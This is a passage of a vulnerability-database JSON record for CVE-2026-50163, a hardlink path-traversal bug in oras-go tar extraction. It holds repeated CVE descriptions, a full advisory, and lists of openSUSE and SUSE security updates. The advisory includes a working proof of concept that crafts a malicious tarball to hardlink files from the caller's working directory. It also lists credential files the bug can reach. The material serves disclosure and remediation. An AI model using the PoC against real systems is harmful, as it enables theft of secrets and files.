relative to the extract base but returns the unresolved target, causing os.Link(\"victim.secret\", \"\u003cextract_base\u003e/payload.tar.gz/evil_cwd_link\") to resolve header.Linkname against the process current working directory for a Typeflag=TypeLink entry such as Name=payload.tar.gz/evil_cwd_link and Linkname=\"victim.secret\" with io.deis.oras.content.unpack: \"true\", which can expose or tamper with files such as .env, .git/config, .aws/credentials, and ~/.ssh/config. This issue is fixed in version 2.6.2.","status":"published","published":"2026-07-17T20:17:23.943Z","modified":"2026-10-24T20:10:00.137Z","cvss":[{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N","level":"high","assessor":"secondary"}],"cwes":["CWE-22","CWE-59"],"updated_at":"2026-11-02T14:12:30.250437Z"}],"osv":[{"id":"CVE-2026-50163","title":"oras-go: Hardlink entry with relative Linkname escapes extract dir via process CWD resolution in `oras-go` tar extraction","description":"oras-go is a Go library for managing OCI artifacts. Prior to 2.6.2, ensureLinkPath in content/file/utils.go:262-275 validates a hardlink target relative to the extract base but returns the unresolved target, causing os.Link(\"victim.secret\", \"\u003cextract_base\u003e/payload.tar.gz/evil_cwd_link\") to resolve header.Linkname against the process current working directory for a Typeflag=TypeLink entry such as Name=payload.tar.gz/evil_cwd_link and Linkname=\"victim.secret\" with io.deis.oras.content.unpack: \"true\", which can expose or tamper with files such as .env, .git/config, .aws/credentials, and ~/.ssh/config. This issue is fixed in version 2.6.2.","status":"published","published":"2026-07-17T19:36:01.254Z","modified":"2026-10-28T02:30:22.311667509Z","cvss":[{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N","level":"high"}],"cwes":["CWE-22","CWE-59"],"updated_at":"2026-11-02T15:45:07.431113Z"},{"id":"DEBIAN-CVE-2026-50163","description":"oras-go is a Go library for managing OCI artifacts. Prior to 2.6.2, ensureLinkPath in content/file/utils.go:262-275 validates a hardlink target relative to the extract base but returns the unresolved target, causing os.Link(\"victim.secret\", \"\u003cextract_base\u003e/payload.tar.gz/evil_cwd_link\") to resolve header.Linkname against the process current working directory for a Typeflag=TypeLink entry such as Name=payload.tar.gz/evil_cwd_link and Linkname=\"victim.secret\" with io.deis.oras.content.unpack: \"true\", which can expose or tamper with files such as .env, .git/config, .aws/credentials, and ~/.ssh/config. This issue is fixed in version 2.6.2.","status":"published","published":"2026-07-17T20:17:23.943Z","modified":"2026-10-25T09:47:38.01822811Z","cvss":[{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N","level":"high"}],"updated_at":"2026-11-02T15:45:56.877408Z"},{"id":"GHSA-fxhp-mv3v-67qp","title":"`oras-go` tar extraction: Hardlink entry with relative Linkname escapes extract dir via process CWD resolution","description":"### Root cause\n\nThe tar-extraction helper `ensureLinkPath` at [`content/file/utils.go:262-275`](https://github.com/oras-project/oras-go/blob/main/content/file/utils.go#L262-L275) validates that a hardlink's target resolves inside the extract base, but then returns the original unresolved `target` string back to the caller:\n\n```go\nfunc ensureLinkPath(baseAbs, baseRel, link, target string) (string, error) {\n path := target\n if !filepath.IsAbs(target) {\n path = filepath.Join(filepath.Dir(link), target) // resolved FOR VALIDATION\n }\n if _, err := resolveRelToBase(baseAbs, baseRel, path); err != nil {\n return \"\", err\n }\n return target, nil // \u003c-- returns the ORIGINAL target, not the validated path\n}\n```\n\nThe caller for `TypeLink` hardlinks then does:\n\n```go\ncase tar.TypeLink:\n var target string\n if target, err = ensureLinkPath(dirPath, dirName, filePath, header.Linkname); err == nil {\n err = os.Link(target, filePath)\n }\n```\n\n`os.Link(oldname, newname)` wraps the `link(2)` system call. From the `link(2)` man page:\n\n\u003e oldpath and newpath are interpreted relative to the current working directory of the calling process.\n\nSo when `target` (i.e., `header.Linkname`) is a **relative** path, `os.Link` resolves it against the process's **current working directory**, not against `filepath.Dir(link)` as the validation assumed.\n\n### Attack\n\nAn attacker who controls an OCI-compliant registry (or any artifact source the victim consumes via `oras pull`) crafts a tarball layer with:\n\n- A regular file: `payload.tar.gz/README.txt`.\n- A hardlink entry: `Typeflag=TypeLink`, `Name=payload.tar.gz/evil_cwd_link`, `Linkname=\"victim.secret\"` (relative).\n\nand marks the layer descriptor with `io.deis.oras.content.unpack: \"true\"` (a standard annotation that tells `oras-go` to auto-extract).\n\nWhen a victim runs `oras pull` (or any Go code using `content.File`), the extraction:\n\n1. Validates `payload.tar.gz/evil_cwd_link` — passes.\n2. Calls `ensureLinkPath(dirPath, \"payload.tar.gz\", filePath, \"victim.secret\")`:\n - `path = filepath.Join(filepath.Dir(filePath), \"victim.secret\")` = `\u003cextract_base\u003e/payload.tar.gz/victim.secret` → inside base → **validation passes**.\n - Returns `target = \"victim.secret\"` (NOT `path`).\n3. Calls `os.Link(\"victim.secret\", \"\u003cextract_base\u003e/payload.tar.gz/evil_cwd_link\")`.\n4. `link(2)` resolves relative `oldname=\"victim.secret\"` against process CWD → creates a hardlink inside the extract tree pointing to `\u003cinvoker_CWD\u003e/victim.secret`.\n\nThe resulting hardlink and the CWD file **share an inode** — reading one reads the other; writing to one writes to the other.\n\n---\n\n## Proof of Concept\n\nTested on Ubuntu 24.04.4 LTS with `oras` CLI v1.3.0 (SHA-256 `040e140304b7dbdd9b40dacd798e2303cea44ad84eeb210750afdf15f1dcf8b4`, downloaded from \u003chttps://github.com/oras-project/oras/releases/download/v1.3.0/oras_1.3.0_linux_amd64.tar.gz\u003e).\n\nReproduction script (standalone, ~50 lines) attached. Summary of key steps:\n\n```bash\n# 1. Place victim file in the future CWD.\nmkdir -p cwd-space extract\necho \"TOP SECRET FROM CWD\" \u003e cwd-space/victim.secret\n\n# 2. Craft malicious tarball with a TypeLink entry whose Linkname is RELATIVE.\npython3 -c '\nimport tarfile, io, os\nwith tarfile.open(\"cwd-space/payload.tar.gz\", \"w:gz\", format=tarfile.GNU_FORMAT) as t:\n info = tarfile.TarInfo(name=\"payload.tar.gz/README.txt\")\n c = b\"pulled from registry\"; info.size = len(c); info.mode = 0o644\n info.uid = os.getuid(); info.gid = os.getgid()\n t.addfile(info, io.BytesIO(c))\n\n link = tarfile.TarInfo(name=\"payload.tar.gz/evil_cwd_link\")\n link.type = tarfile.LNKTYPE\n link.linkname = \"victim.secret\" # RELATIVE\n link.mode = 0o644; link.uid = os.getuid(); link.gid = os.getgid()\n t.addfile(link)\n'\n\n# 3. Push to OCI layout, patch in the unpack annotation, pull from cwd-space.\n(cd cwd-space \u0026\u0026 oras push --oci-layout ../layout:v1 \\\n payload.tar.gz:application/vnd.oci.image.layer.v1.tar+gzip)\n# ... patch layout/blobs/sha256/\u003cmanifest\u003e to add\n# io.deis.oras.content.unpack: \"true\" on layers[0].annotations ...\n\n(cd cwd-space \u0026\u0026 oras pull --oci-layout ../layout:v1 --output ../extract)\n\n# 4. Observe inode sharing.\nstat -c '%i' extract/payload.tar.gz/evil_cwd_link # → 6554160\nstat -c '%i' cwd-space/victim.secret # → 6554160 (SAME)\ncat extract/payload.tar.gz/evil_cwd_link # → \"TOP SECRET FROM CWD\"\n```\n\nObserved output:\n\n```\nevil_cwd_link (inside extract dir): inode=6554160\nvictim.secret (in invoker CWD): inode=6554160\n*** ESCAPE CONFIRMED ***\nReading through the extract-dir hardlink yields the CWD file contents:\nTOP SECRET FROM CWD\n```\n\nA library-level regression test is also provided (`poc_test.go`) that drops into `content/file/utils_test.go` and runs via `go test ./content/file/... -run TestPoC` — output shows identical inode match for consumers of the library API.\n\n---\n\n## Impact\n\n**Primary: arbitrary-CWD-file read primitive.** An attacker-controlled OCI artifact, when pulled by a victim using the `oras` CLI or any Go program using `oras-go/v2/content/file`, can create a hardlink inside the victim's extract tree pointing to an arbitrary file in the victim's process CWD (that the invoker UID is permitted to read). Reading the extract-tree hardlink yields that file's contents verbatim.\n\n**Secondary: inode-sharing tampering primitive.** Any tool that later modifies the extract-tree hardlink (write, chmod, truncate, etc.) modifies the CWD file through the shared inode. This violates the \"writes inside the extract dir are confined\" invariant that downstream tooling (CI systems, container-image builders, artifact scanners) typically depends on.\n\n**High-severity chains:**\n\n- **CI pipelines** where `oras pull` runs from a project workspace containing secrets/credentials (`.env`, `.git/config`, service-account tokens). The pulled artifact can hardlink those secrets into a location later archived/mounted/published.\n- **Container orchestration** where the extract dir is bind-mounted into a lower-trust container while the pull-invoker's CWD is higher-trust. Hardlinks created in the extract tree expose invoker-CWD files across the trust boundary.\n- **Kubernetes operators / Flux source-controller** using `oras-go` to fetch artifacts; their CWD is typically `/` or `/root` — very sensitive.\n- **Multi-tenant registry proxies** that use `oras-go` to fetch and re-serve artifacts; each proxy process has a CWD with configuration, keys, or per-tenant state.\n\n**Not affected:**\n\n- `oras push` (tarball creation side): `tarDirectory` in the same file explicitly skips hardlink generation (line 65 comment: `\"We don't support hard links and treat it as regular files\"`), so pushed content cannot trigger this on the server.\n- Symlink extraction path (`TypeSymlink`): `os.Symlink` stores the target string verbatim and does not CWD-resolve at creation time. The current `ensureLinkPath` return-of-`target` is correct for symlinks (the existing validation correctly models the symlink-follow path).\n\n### Attack-surface boundary (`fs.protected_hardlinks`)\n\nOn Linux with `fs.protected_hardlinks=1` (default on modern distros), `link(2)` additionally requires the linking user to have READ + WRITE permission on the source file (per `may_linkat()` in the kernel). Verified on Ubuntu 24.04: as non-root, `ln /etc/passwd /tmp/x` returns `EPERM`, and the same via the oras PoC path returns `link passwd /tmp/.../evil_passwd: operation not permitted`.\n\n**So the attacker cannot use this bug to read arbitrary root-owned files (e.g., `/etc/shadow`) when the victim invokes `oras pull` as a regular user.** The attack surface depends on the invocation context:\n\n| Invocation context | Reachable file classes |\n|---|---|\n| `oras pull` run by a regular user | Any file the user OWNS or has write access to in the process CWD: `.env`, `.git/config`, `.aws/credentials`, `~/.ssh/config`, project-local secrets, CI workspace files. |\n| `oras pull` run as root (systemd without `User=`, container entrypoint default root, Kubernetes operator) | **Every file on the host filesystem.** `/etc/shadow`, `/root/.ssh/id_rsa`, bind-mounted host paths, service private keys. |\n\nThe user-context attack surface alone is sufficient for supply-chain-grade impact: CI pipelines and developer machines routinely hold API keys, signing keys, and cloud credentials in user-owned files in the working directory. The root-context escalation makes the bug Critical in mainstream Kubernetes/GitOps tooling where oras-go is adopted for artifact distribution.\n\n---\n\n## Proposed fix\n\nChange `ensureLinkPath` to expose both the verbatim target (for symlinks) and the resolved absolute path (for hardlinks); have the `TypeLink` case use the resolved path.\n\n```go\n// Current behavior preserved for TypeSymlink. TypeLink switches to the resolved\n// path to avoid CWD-resolution mismatch at os.Link time.\nfunc ensureLinkPath(baseAbs, baseRel, link, target string) (symlinkTarget, hardlinkPath string, err error) {\n path := target\n if !filepath.IsAbs(target) {\n path = filepath.Join(filepath.Dir(link), target)\n }\n if _, err = resolveRelToBase(baseAbs, baseRel, path); err != nil {\n return \"\", \"\", err\n }\n return target, path, nil\n}\n```\n\n```go\ncase tar.TypeLink:\n var absTarget string\n if _, absTarget, err = ensureLinkPath(dirPath, dirName, filePath, header.Linkname); err == nil {\n err = os.Link(absTarget, filePath)\n }\ncase tar.TypeSymlink:\n var symTarget string\n symTarget, _, err = ensureLinkPath(dirPath, dirName, filePath, header.Linkname)\n if err != nil { return err }\n if err = os.Symlink(symTarget, filePath); err != nil { ... }\n```\n\n**Regression test to add:**\n\nExtend `Test_extractTarDirectory_HardLink` with a third sub-test that:\n1. Creates a sentinel file in the test's `t.TempDir()` (or an explicitly `os.Chdir`-entered directory) with a known name, e.g. `sentinel.txt`.\n2. Builds a tarball containing a `TypeLink` entry with `Linkname: \"sentinel.txt\"` (relative).\n3. Extracts.\n4. Asserts either `extractTarDirectory` returned an error, OR the resulting hardlink's inode does NOT match the sentinel's inode.","status":"published","published":"2026-07-01T21:48:04Z","modified":"2026-09-10T03:50:51.900265156Z","cvss":[{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N","level":"high"}],"cwes":["CWE-22","CWE-59"],"updated_at":"2026-11-02T15:46:47.119724Z"},{"id":"UBUNTU-CVE-2026-50163","description":"oras-go is a Go library for managing OCI artifacts. Prior to 2.6.2, ensureLinkPath in content/file/utils.go:262-275 validates a hardlink target relative to the extract base but returns the unresolved target, causing os.Link(\"victim.secret\", \"\u003cextract_base\u003e/payload.tar.gz/evil_cwd_link\") to resolve header.Linkname against the process current working directory for a Typeflag=TypeLink entry such as Name=payload.tar.gz/evil_cwd_link and Linkname=\"victim.secret\" with io.deis.oras.content.unpack: \"true\", which can expose or tamper with files such as .env, .git/config, .aws/credentials, and ~/.ssh/config. This issue is fixed in version 2.6.2.","status":"published","published":"2026-07-17T20:17:00Z","modified":"2026-10-17T12:54:24.339060103Z","cvss":[{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N","level":"high"}],"updated_at":"2026-11-02T16:56:33.391918Z"},{"id":"GO-2026-5880","title":"Hardlink path traversal during tar extraction in oras.land/oras-go","description":"Hardlink path traversal during tar extraction in oras.land/oras-go","status":"published","published":"2026-07-24T18:35:55Z","modified":"2026-07-29T03:44:57.835706258Z","updated_at":"2026-11-02T15:47:02.838915Z"},{"id":"openSUSE-SU-2026:11297-1","title":"oras-1.3.3-2.1 on GA media","description":"These are all security issues fixed in the oras-1.3.3-2.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-07-17T00:00:00Z","modified":"2026-07-18T08:45:07.126202432Z","updated_at":"2026-11-02T16:58:38.95195Z"},{"id":"openSUSE-SU-2026:11575-1","title":"helm-4.2.4-1.1 on GA media","description":"These are all security issues fixed in the helm-4.2.4-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-08-22T00:00:00Z","modified":"2026-08-23T11:15:04.029530818Z","updated_at":"2026-11-02T16:58:39.516824Z"},{"id":"openSUSE-SU-2026:11676-1","title":"trivy-0.74.0-2.1 on GA media","description":"These are all security issues fixed in the trivy-0.74.0-2.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-09-02T00:00:00Z","modified":"2026-09-03T10:00:09.812788317Z","updated_at":"2026-11-02T16:58:39.516824Z"},{"id":"openSUSE-SU-2026:21551-1","title":"Security update for govulncheck-vulndb","description":"This update for govulncheck-vulndb fixes the following issues:\n\n- Update to version 0.0.20260727T201416 2026-07-27T20:14:16Z (jsc#PED-11136):\n\n Go CVE Numbering Authority IDs added or updated with aliases:\n * GO-2026-5046 CVE-2026-46385 GHSA-w8j3-pq8g-8m7w\n * GO-2026-5047 CVE-2026-46384 GHSA-mc57-h6j3-3hmv\n * GO-2026-5048 GHSA-mx64-mj3q-7prj\n * GO-2026-5051\n * GO-2026-5069 CVE-2026-30246 GHSA-35hp-hqmv-8qg8\n * GO-2026-5074 CVE-2026-45022 GHSA-389r-gv7p-r3rp\n * GO-2026-5105 CVE-2026-41506 GHSA-3xc5-wrhm-f963\n * GO-2026-5116 CVE-2026-44517 GHSA-49p4-px3h-rq49\n * GO-2026-5158 CVE-2026-41178 GHSA-5wrp-cwcj-q835\n * GO-2026-5198 CVE-2026-41642 GHSA-7235-89m6-f4px\n * GO-2026-5208 CVE-2026-40890 GHSA-77fj-vx54-gvh7\n * GO-2026-5266 CVE-2026-41643 GHSA-8rxh-r2p6-7f2q\n * GO-2026-5309 GHSA-c3wq-j5vh-68rc\n * GO-2026-5327 CVE-2026-2303 GHSA-cp6g-7hqx-qxhp\n * GO-2026-5336 CVE-2026-45571 GHSA-crhj-59gh-8x96\n * GO-2026-5346 CVE-2026-52845 GHSA-f59h-q822-g45g\n * GO-2026-5408 GHSA-gx7w-56w6-g48x\n * GO-2026-5426 CVE-2026-39883 GHSA-hfvc-g4fc-pqhx\n * GO-2026-5435 CVE-2026-35206 GHSA-hr2v-4r36-88hr\n * GO-2026-5452 CVE-2026-34783 GHSA-j6v5-g24h-vg4j\n * GO-2026-5463 CVE-2026-8276 GHSA-jcqv-2g3v-gm88\n * GO-2026-5471 CVE-2026-6993 GHSA-jj45-xvq5-rhh9\n * GO-2026-5490 CVE-2026-44740 GHSA-m3xc-h892-ggx6\n * GO-2026-5492 CVE-2026-45135 GHSA-m675-2p33-xv9g\n * GO-2026-5506 CVE-2026-29181 GHSA-mh2q-q3fh-2475\n * GO-2026-5525 CVE-2026-42285 GHSA-p3w2-64xm-833j\n * GO-2026-5543 CVE-2026-32952 GHSA-pjcq-xvwq-hhpj\n * GO-2026-5548 CVE-2026-44166 GHSA-pq7p-mc74-g65w\n * GO-2026-5566 CVE-2026-35205 GHSA-q5jf-9vfq-h4h7\n * GO-2026-5569 GHSA-q76j-gcg9-vxc6\n * GO-2026-5585 CVE-2026-42554 GHSA-qjv7-627w-8qjv\n * GO-2026-5593 CVE-2026-40611 GHSA-qqx8-2xmm-jrv8\n * GO-2026-5595 CVE-2026-52844 GHSA-qrp7-cvwr-j2c6\n * GO-2026-5597 CVE-2026-44973 GHSA-qw64-3x98-g7q2\n * GO-2026-5606 GHSA-r46f-3rpw-hxrv\n * GO-2026-5617 CVE-2026-42306 GHSA-rg2x-37c3-w2rh\n * GO-2026-5660 CVE-2026-52846 GHSA-vcc4-2c75-vc9v\n * GO-2026-5666 CVE-2026-35204 GHSA-vmx8-mqv2-9gmg\n * GO-2026-5684 CVE-2026-42328 GHSA-w239-58x2-q8p5\n * GO-2026-5693 GHSA-w5pp-99ch-qj29\n * GO-2026-5730 GHSA-wwhq-w58m-w29c\n * GO-2026-5736 CVE-2026-44283 GHSA-x35m-3gp4-4fh5\n * GO-2026-5740 CVE-2026-44301 GHSA-x597-9fr4-5857\n * GO-2026-5748 CVE-2026-7482 GHSA-x8qc-fggm-mpqg\n * GO-2026-5750 CVE-2026-7020 GHSA-x99g-8v8j-25j2\n * GO-2026-5774 GHSA-3fxj-6jh8-hvhx\n * GO-2026-5775 GHSA-9g5q-2w5x-hmxf\n * GO-2026-5777 GHSA-rjr7-jggh-pgcp\n * GO-2026-5781\n * GO-2026-5841 GHSA-259r-337f-4rfw\n * GO-2026-5879 CVE-2026-50162 GHSA-8xwf-rjm4-xvhv\n * GO-2026-5880 CVE-2026-50163 GHSA-fxhp-mv3v-67qp\n * GO-2026-5882 CVE-2026-50151 GHSA-jxpm-75mh-9fp7\n * GO-2026-5884 GHSA-vh4v-2xq2-g5cg\n * GO-2026-5885 CVE-2026-48978 GHSA-xf85-363p-868w\n * GO-2026-5886 CVE-2026-44332 GHSA-g5vh-55hw-rxm8\n * GO-2026-5887 CVE-2026-45045 GHSA-gcfq-8gqf-4876\n * GO-2026-5912 CVE-2026-53624 GHSA-gv83-gqw6-9j2c\n * GO-2026-5954 CVE-2026-49838 GHSA-frrj-87jh-2772\n * GO-2026-5955 CVE-2026-49837 GHSA-gjrg-jjr3-56cm\n * GO-2026-5960 CVE-2026-54063 GHSA-h69g-9hx6-f3v4\n * GO-2026-5971 CVE-2026-37462 GHSA-pw7p-7fqv-hpj8\n * GO-2026-5983 CVE-2026-54448 GHSA-q3fv-x8vg-qqm4\n * GO-2026-6000 CVE-2026-50274 GHSA-74j5-xf3v-crq8\n * GO-2026-6058 CVE-2026-58442 GHSA-h2x6-g7q6-344v\n * GO-2026-6059 CVE-2026-58431 GHSA-h56g-4qw7-2mxg\n * GO-2026-6060 CVE-2026-58426 GHSA-hg5r-vq93-9fv6\n * GO-2026-6061 GHSA-hrxh-6v49-42gf\n * GO-2026-6062 CVE-2026-58434 GHSA-j2w3-9c3r-g83q\n * GO-2026-6063 CVE-2026-58417 GHSA-jr5x-6h83-wrxf\n * GO-2026-6064 CVE-2026-55984 GHSA-m932-crvm-gcp5\n * GO-2026-6065 CVE-2026-55982 GHSA-mg4f-x9v4-6h2p\n * GO-2026-6066 CVE-2026-58507 GHSA-p4mj-98mv-xq26\n * GO-2026-6067 CVE-2026-58445 GHSA-pgqf-926r-548m\n * GO-2026-6068 CVE-2026-58427 GHSA-prr9-9mp4-5gp2\n * GO-2026-6069 CVE-2026-58510 GHSA-q423-49rw-g9mh\n * GO-2026-6070 CVE-2026-58432 GHSA-q9pg-jj6x-j9p6\n * GO-2026-6071 CVE-2026-59766 GHSA-qf2f-qh6p-7v89\n * GO-2026-6072 CVE-2026-56750 GHSA-rgv6-xp99-6mgj\n * GO-2026-6073 CVE-2026-58435 GHSA-rh79-75qm-gwjr\n * GO-2026-6074 GHSA-rjvx-x5h2-6px5\n * GO-2026-6075 CVE-2026-58418 GHSA-rqhx-647v-wx32\n * GO-2026-6076 CVE-2026-25038 GHSA-v73x-hx65-6pf4\n * GO-2026-6077 CVE-2026-58421 GHSA-v96j-25gv-g2w9\n * GO-2026-6078 CVE-2026-55987 GHSA-vrhc-jjfc-m3m3\n * GO-2026-6079 CVE-2026-58425 GHSA-vxv2-8j6r-pcpg\n * GO-2026-6080 CVE-2026-58439 GHSA-w5pg-649r-p6gg\n * GO-2026-6081 CVE-2026-24451 GHSA-wrf9-r3h7-7x5v\n * GO-2026-6082 CVE-2026-42931 GHSA-wwqq-x6w4-frm2\n * GO-2026-6083 CVE-2026-23603 GHSA-x77v-q46j-393g\n * GO-2026-6084 CVE-2026-58441 GHSA-xmj7-xj85-hfc3\n * GO-2026-6085 CVE-2026-58438 GHSA-xv9x-fj9g-vj6h\n * GO-2026-6086 CVE-2026-58443 GHSA-xxjv-752h-3vp2\n","status":"published","published":"2026-08-10T17:38:07Z","modified":"2026-08-12T18:23:41.809969353Z","updated_at":"2026-11-02T16:58:41.885092Z"},{"id":"openSUSE-SU-2026:21801-1","title":"Security update for trivy","description":"This update for trivy fixes the following issues:\n\n- CVE-2026-24122: github.com/sigstore/cosign/v2/pkg/cosign: improper validation of certificates that outlive expired CA\n certificates (bsc#1258543).\n- CVE-2026-37236: github.com/grpc-ecosystem/grpc-gateway/v2/runtime: client can override the HTTP method of a POST\n request through the X-HTTP-Method-Override header and bypass established access control (bsc#1278002).\n- CVE-2026-41178: go.opentelemetry.io/otel/baggage, go.opentelemetry.io/otel/propagation: no rejection of raw-length\n headers in baggage parsing allows for DoS via oversized inputs (bsc#1276745).\n- CVE-2026-50163: oras-go: Information disclosure and arbitrary file access via crafted tarball hardlinks (bsc#1278702).\n- CVE-2026-56854,CVE-2026-56855,CVE-2026-78662: golang.org/x/crypto/ssh: authentication bypass and deadlocks in the\n crypto/ssh library (bsc#1278624).\n- CVE-2026-84303: github.com/grpc/grpc-go: xDS RBAC HTTP filter implementation issue allows for bypass of authorization\n policies via mixed-case or canonical-case header matches (bsc#1279390).\n- CVE-2026-84304: github.com/grpc/grpc-go: heap memory exhaustion via HTTP/2 DATA frame fragmentation (bsc#1279395).\n- CVE-2026-84445: google.golang.org/grpc: DoS via crash due to missing `:authority` and `Host` headers in gRPC-Go xDS\n servers (bsc#1279392).\n","status":"published","published":"2026-09-07T15:03:57Z","modified":"2026-09-10T18:23:46.123242111Z","updated_at":"2026-11-02T16:58:42.426393Z"},{"id":"openSUSE-SU-2026:21983-1","title":"Security update for helm","description":"This update for helm fixes the following issues:\n\n- CVE-2026-33814: golang.org/x/net/http2: infinite loop in HTTP/2 transport when given bad SETTINGS_MAX_FRAME_SIZE\n (bsc#1265758).\n- CVE-2026-35204: github.com/helm/helm: helm.sh/helm/v4: Helm: Arbitrary file write via specially crafted plugin\n (bsc#1261939).\n- CVE-2026-35205: github.com/helm/helm: helm.sh/helm/v4: Helm: Arbitrary code execution due to insufficient plugin\n provenance verification (bsc#1261935).\n- CVE-2026-35206: github.com/helm/helm: Helm: Files written to unexpected directory via specially crafted Chart\n (bsc#1261938).\n- CVE-2026-41178: go.opentelemetry.io/otel/baggage,go.opentelemetry.io/otel/propagation: no rejection of raw-length\n headers in baggage parsing allows for DoS via oversized inputs (bsc#1276510).\n- CVE-2026-41888: github.com/distribution/distribution/v3: tag deletion bypasses the storage.delete.enabled\n configuration (bsc#1265428).\n- CVE-2026-48978: oras.land/oras-go/v2/registry/remote/auth: Malicious registry can hijack Bearer token realm to\n exfiltrate credentials and refresh tokens (bsc#1270127).\n- CVE-2026-50151: oras-go: Credential forwarding via unvalidated Location header during blob upload (bsc#1271660).\n- CVE-2026-50163: oras-go: Information disclosure and arbitrary file access via crafted tarball hardlinks (bsc#1276327).\n- CVE-2026-56852: golang.org/x/text/unicode/norm: infinite loop on truncated/invalid UTF-8 input (bsc#1271997).\n- CVE-2026-56854: golang.org/x/crypto/ssh: source-address restriction bypassed in 5 callback families (bsc#1281426).\n- CVE-2026-56855: golang.org/x/crypto/ssh: prevent DoS on deadlocked established channel (bsc#1281426).\n- CVE-2026-56864: x/mod/sumdb: ignore unrelated, unauthenticated hashes in Lookup (bsc#1275025).\n- CVE-2026-56865: x/mod/sumdb/tlog: fix transparency log tile verification bypass (bsc#1275024).\n- CVE-2026-78662: golang.org/x/crypto/ssh: prevent DoS on deadlocked undecided channel (bsc#1281426).\n- CVE-2026-81871: go.opentelemetry.io/otel/exporters/otlp/otlplog/otlploggrpc: OpenTelemetry-Go: TLS certificate bypass\n allows log telemetry interception and alteration (bsc#1281468).\n- CVE-2026-81872: go.opentelemetry.io/otel/sdk/log: OpenTelemetry-Go: Denial of Service via attacker-driven log emission\n (bsc#1281469).\n- CVE-2026-85732: oras.land/oras-go/v2: blind SSRF via unvalidated Link header URL in pagination allows internal network\n probing (bsc#1281112).\n- gRPC-Go: several issues affecting the xDS RBAC authorization engine and the HTTP/2 transport server implementation\n (bsc#1276514).\n","status":"published","published":"2026-09-30T17:58:26Z","modified":"2026-10-01T17:30:06.792813938Z","updated_at":"2026-11-02T16:58:42.426393Z"},{"id":"ROOT-APP-GOBINARY-CVE-2026-50163","title":"CVE-2026-50163 in oras.land/oras-go/v2 - Patched by Root","description":"Root has patched CVE-2026-50163 in the oras.land/oras-go/v2 package for Root:Go. Multiple fixed versions available.","status":"published","published":"2026-10-23T07:04:37Z","modified":"2026-10-23T08:15:03.137770751Z","updated_at":"2026-11-02T15:53:26.76659Z"},{"id":"SUSE-SU-2026:23216-1","title":"Security update for govulncheck-vulndb","description":"This update for govulncheck-vulndb fixes the following issues:\n\n- Update to version 0.0.20260727T201416 2026-07-27T20:14:16Z (jsc#PED-11136):\n\n Go CVE Numbering Authority IDs added or updated with aliases:\n * GO-2026-5046 CVE-2026-46385 GHSA-w8j3-pq8g-8m7w\n * GO-2026-5047 CVE-2026-46384 GHSA-mc57-h6j3-3hmv\n * GO-2026-5048 GHSA-mx64-mj3q-7prj\n * GO-2026-5051\n * GO-2026-5069 CVE-2026-30246 GHSA-35hp-hqmv-8qg8\n * GO-2026-5074 CVE-2026-45022 GHSA-389r-gv7p-r3rp\n * GO-2026-5105 CVE-2026-41506 GHSA-3xc5-wrhm-f963\n * GO-2026-5116 CVE-2026-44517 GHSA-49p4-px3h-rq49\n * GO-2026-5158 CVE-2026-41178 GHSA-5wrp-cwcj-q835\n * GO-2026-5198 CVE-2026-41642 GHSA-7235-89m6-f4px\n * GO-2026-5208 CVE-2026-40890 GHSA-77fj-vx54-gvh7\n * GO-2026-5266 CVE-2026-41643 GHSA-8rxh-r2p6-7f2q\n * GO-2026-5309 GHSA-c3wq-j5vh-68rc\n * GO-2026-5327 CVE-2026-2303 GHSA-cp6g-7hqx-qxhp\n * GO-2026-5336 CVE-2026-45571 GHSA-crhj-59gh-8x96\n * GO-2026-5346 CVE-2026-52845 GHSA-f59h-q822-g45g\n * GO-2026-5408 GHSA-gx7w-56w6-g48x\n * GO-2026-5426 CVE-2026-39883 GHSA-hfvc-g4fc-pqhx\n * GO-2026-5435 CVE-2026-35206 GHSA-hr2v-4r36-88hr\n * GO-2026-5452 CVE-2026-34783 GHSA-j6v5-g24h-vg4j\n * GO-2026-5463 CVE-2026-8276 GHSA-jcqv-2g3v-gm88\n * GO-2026-5471 CVE-2026-6993 GHSA-jj45-xvq5-rhh9\n * GO-2026-5490 CVE-2026-44740 GHSA-m3xc-h892-ggx6\n * GO-2026-5492 CVE-2026-45135 GHSA-m675-2p33-xv9g\n * GO-2026-5506 CVE-2026-29181 GHSA-mh2q-q3fh-2475\n * GO-2026-5525 CVE-2026-42285 GHSA-p3w2-64xm-833j\n * GO-2026-5543 CVE-2026-32952 GHSA-pjcq-xvwq-hhpj\n * GO-2026-5548 CVE-2026-44166 GHSA-pq7p-mc74-g65w\n * GO-2026-5566 CVE-2026-35205 GHSA-q5jf-9vfq-h4h7\n * GO-2026-5569 GHSA-q76j-gcg9-vxc6\n * GO-2026-5585 CVE-2026-42554 GHSA-qjv7-627w-8qjv\n * GO-2026-5593 CVE-2026-40611 GHSA-qqx8-2xmm-jrv8\n * GO-2026-5595 CVE-2026-52844 GHSA-qrp7-cvwr-j2c6\n * GO-2026-5597 CVE-2026-44973 GHSA-qw64-3x98-g7q2\n * GO-2026-5606 GHSA-r46f-3rpw-hxrv\n * GO-2026-5617 CVE-2026-42306 GHSA-rg2x-37c3-w2rh\n * GO-2026-5660 CVE-2026-52846 GHSA-vcc4-2c75-vc9v\n * GO-2026-5666 CVE-2026-35204 GHSA-vmx8-mqv2-9gmg\n * GO-2026-5684 CVE-2026-42328 GHSA-w239-58x2-q8p5\n * GO-2026-5693 GHSA-w5pp-99ch-qj29\n * GO-2026-5730 GHSA-wwhq-w58m-w29c\n * GO-2026-5736 CVE-2026-44283 GHSA-x35m-3gp4-4fh5\n * GO-2026-5740 CVE-2026-44301 GHSA-x597-9fr4-5857\n * GO-2026-5748 CVE-2026-7482 GHSA-x8qc-fggm-mpqg\n * GO-2026-5750 CVE-2026-7020 GHSA-x99g-8v8j-25j2\n * GO-2026-5774 GHSA-3fxj-6jh8-hvhx\n * GO-2026-5775 